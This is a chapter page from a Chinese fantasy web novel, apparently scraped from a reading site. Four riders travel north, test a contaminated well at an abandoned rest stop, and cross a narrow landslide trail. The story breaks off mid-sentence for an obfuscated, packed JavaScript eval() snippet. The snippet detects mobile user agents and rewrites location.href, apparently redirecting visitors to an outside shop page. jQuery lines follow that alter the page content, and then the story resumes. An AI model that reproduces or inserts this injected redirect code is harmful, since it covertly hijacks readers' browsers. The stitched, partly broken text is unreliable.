万书库 > 玄幻小说 > 勇者之旅 > 25. 第 25 章
    “孩子今天早上吃了两个。”老桑妮说,声音还是沙哑的,但比三天前多了一点什么。“吃完问我,那个黑头发的姐姐还来不来。我说她要走了,往北走。孩子说,北边不好。我说,嗯。她说,那她为什么还要去。我说——”她停住了,手在围裙上擦了擦,围裙是干净的,没有面粉也没有油渍。“我说,因为有人要去。”


    格蕾塔接过布袋放进鞍袋里,和老桑妮给的干草药放在一起。“信到了之后,不管哨站那边怎么样,你带着孩子往南走。走到水变好的地方。”


    老桑妮点头,点了几下,然后转身走了。步子还是碎而慢,布鞋底磨得很薄,但走过巷口的时候她直了一下腰。


    海瑟没有来送。她的门关着,窗户也关着。但窗纸上映着一点光——大白天她点了一盏法术灯。冷白色的光从窗纸透出来,在灰白色的天光里几乎看不出颜色,但玛丽玛丽看到了。那盏灯亮着,说明海瑟在里面,在做事。至于做什么,她不打算让别人知道。


    四个人骑上马。流栖灯的白马今天精神比前几天好,出镇子的时候步子轻快,马鬃的小辫子在风里晃着。她骑在上面已经不怎么僵了,手握着缰绳的力度比三天前轻了一半。艾莉西亚的灰马也不再和她较劲,耳朵朝前竖着,步子稳当。格蕾塔的枣红马走在最后,蹄子踩在土路上扬起一小团一小团的灰。玛丽玛丽的黑马在最前面,铁灰色的皮毛在晨光里泛着暗蓝。


    出绿溪镇往北,田地越来越少,荒地越来越多。那些荒地和山南边的不同,那是没被开垦过的砾石地,地面上铺着大大小小的碎石,石头缝里长着硬秆的野草,草叶上覆着灰白色粉末。马蹄踩在碎石上发出咔嚓咔嚓的声响,石头在蹄下滚动,马匹走得很小心。


    走了约莫两个时辰,官道开始抬升。路面从碎石变成石质路基,是人工开凿的——山壁上留着凿痕,每隔一段距离有凿出来用于排水的浅沟。凿痕很旧了,边缘被风雨磨圆,石面上覆着薄薄一层灰白。这条路修了很多年了,修它的人大概已经不在了。但路还在,被无数马蹄和人脚踩过,石头表面磨出光滑的凹陷。


    流栖灯骑在马上,伸手摸了一下山壁上的凿痕。指尖触到粗粝的石面和覆在上面的粉末,粉末沾在指腹上,灰白色的。她把手收回来在裤子上蹭了蹭,粉末蹭掉了,指腹上留着石面带来的凉意。


    “这条路是谁修的。”


    “上古时期。”玛丽玛丽的声音从前面传来,被山壁反射回来带着一点回音。“封印建成之后,需要一条从帝都通往北境的路。当时的皇帝下令开山修路。修了多久,动用了多少人,没有记录留下来。”


    “为什么没有记录。”


    “因为不需要。修路是为了让驻守封印的法师能得到补给,是一条功能性的路。功能性的东西,用就行了,不需要记住。”


    流栖灯把手放在缰绳上没有再接话。山壁上的凿痕在身侧缓缓后退,一道一道,深浅不一。每一道都是一个人挥着凿子砸下去留下的。那些人没有名字,没有记录,她们砸出来的路被人走了几百年,走到石头表面磨出光滑的凹陷。


    午后来到歇马点。


    歇马点嵌在山腰一处开凿出的平台上。石头房子还在,木梁覆瓦的顶子塌了半边——不木梁年久腐朽,承受不住瓦片的重力从中间断开了。塌下来的瓦片堆在房子半边,碎成大大小小的碎片,缝隙里长出枯黄的草。没塌的那半边门框还立着,门板倒在门框里面,被雨水泡过又被太阳晒干,木板翘曲变形裂开几道宽缝。


    房子后面是一口井。石砌的井台,井口盖着木板,木板上压着石头——和海瑟在绿溪镇做的一样。但这里的木板上落了厚厚一层灰,压-在上面的石头也被灰覆满了。很久没有人来过了。


    格蕾塔下马搬开石头掀开木板。井还在。她拿起井绳——绳子还挂在井边的木桩上,绳头系着一只木桶——把桶放下去。井绳在手里放了很长一段才触到水面。桶沉下去,提上来。水在桶里晃荡,颜色比绿溪镇公井的水深,是明显的黄褐色。铁锈气从桶口升上来,比绿溪镇任何一口井都重。


    艾莉西亚取出符纸浸进水里。符纸边缘开始变色——淡黄,橙黄,橙色,橙红。停在橙红。


    “六级。”她把符纸拎出来,湿的符纸在风里很快干了,边缘卷起来。“歇马点的井水,六级。”


    绿溪镇的井水是四级,已经让孩子身上起疹子。六级的水,喝了会怎样。格蕾塔把桶里的水倒掉,桶放回井边,木板盖回去,石头压好。她做这些动作不快,但每一下都做到位了。


    “六级的水,烧开了也不能喝。”她把井绳挂回木桩上。“直接接触皮肤会引起灼伤,魔力会对皮肤表层组织的破坏。”


    “如果马喝了。”流栖灯看着马厩的位置——石头房子旁边有一排同样塌了半边的马棚,棚柱歪斜,棚顶的瓦片碎了一地。


    “马比人扛得住。但也不能长期喝。”格蕾塔走到马棚边检查了食槽和水槽。食槽是干的,水槽底裂了一道缝,积着干涸的泥垢。这里已经很久没有马匹停留过了。


    玛丽玛丽站在歇马点的平台上往北看。山路在前面拐过一个弯,被山壁挡住了视线。但从这里已经能感觉到北边天空的不同——灰黄-色的天际线不再是一条线,而是占据了小半个天空的厚实色层,从地平线往上颜色逐渐变淡,融入正常的蓝色里。像一滴墨水落进清水,还没有扩散均匀。


    “天黑之前要走完这段山路。”她转身走回来。“歇马点不能过夜。没有能喝的水,房顶塌了,马棚撑不住风雨。”


    四个人重新上马。离开歇马点的时候流栖灯回头看了一眼


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17537899|203862||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    那口井。石砌的井台,压着石头的木板,挂在木桩上的井绳。三年前海瑟来过这里,测了水质,在记录本上写下“甘”。三年后井水六级,井绳还在,木桶还在,但已经没有人能从这口井里打出能喝的水了。


    塌方路段在歇马点以北三里处。山体滑坡把半面山坡滑下来堆在路上,泥土和碎石混在一起堵塞了官道。后来有人清理过——她们把塌方体中间挖出一条仅容一马通过的便道。便道狭窄,一边是碎石堆成的斜坡,一边是没有护栏的陡崖。路面是踩实的泥土,半个月没下雨,泥土干硬,马蹄踩上去不打滑。但如果下雨,这段路就是泥沟。


    玛丽玛丽在便道口勒住马。“一个一个过。我先过去,然后流栖灯,然后艾莉西亚,格蕾塔最后。过的时候看路,不要看崖下面。”


    她策马走进便道。黑马的蹄子踩在干硬的泥路上,每一步都很稳。它走过比这更险的路——驿马被分配到边境路线之前都要经过山地训练,走山路是本能。碎石堆成的斜坡在左手边,碎石缝隙里长出的野草擦过玛丽玛丽的左腿。右手边是陡崖,崖下的山谷深不见底,谷底有水流的声音传上来,很小,被距离拉细了。


    黑马走完便道,蹄子踏上对面完好的官道时打了一个响鼻。玛丽玛丽勒住马回头。流栖灯的白马已经走进便道了。白马的头低着,鼻子几乎贴着地面在闻路,它专注,它一步一步踩在黑马刚踩过的蹄印上,蹄子落下去的位置分毫不差。流栖灯骑在马上,两手握着缰绳,指节没有攥白。她没有看崖下,看着白马的耳朵。


    白马走出便道。流栖灯呼出一口气,在马脖子上轻轻拍了两下。白马甩了甩鬃毛,小辫子晃起来。


    艾莉西亚的灰马走进便道。灰马腿长,走窄路是天生的。它没有像白马那样低头闻路,而是昂着头,眼睛看着前方,步子轻而准。艾莉西亚骑在马上,脸色正常,嘴唇抿着,她在集中注意力。她的人和她的马一样,遇到需要专注的事情时反而不紧张了。


    灰马走出便道。


    格蕾塔的枣红马最后。枣红马体格最大,便道的宽度对它来说刚刚够。它的步子慢,每一步都踩实了才迈下一步。碎石在它的蹄子下偶尔滚落陡崖,发出越来越远的碰撞声最后消失。它走完便道的时候,格蕾塔伸手在它脖子上摸了一下。马耳朵朝后转了转,听到主人手的动静,然后朝前转回去。


    四匹马都过来了。玛丽玛丽策马继续往前走。身后的马蹄声重新响起,和之前一样的节奏——流栖灯的轻,艾莉西亚的准,格蕾塔的稳。


    傍晚她们走到山路北段一处较为开阔的弯道。弯道内-侧是山壁,外侧有一小片平整的空地,空地边缘长着几棵歪斜的松树。松树的针叶是灰绿色的,覆着粉末,但还活着——松树比庄稼扛得住。空地够大,能扎营。玛丽玛丽下了马。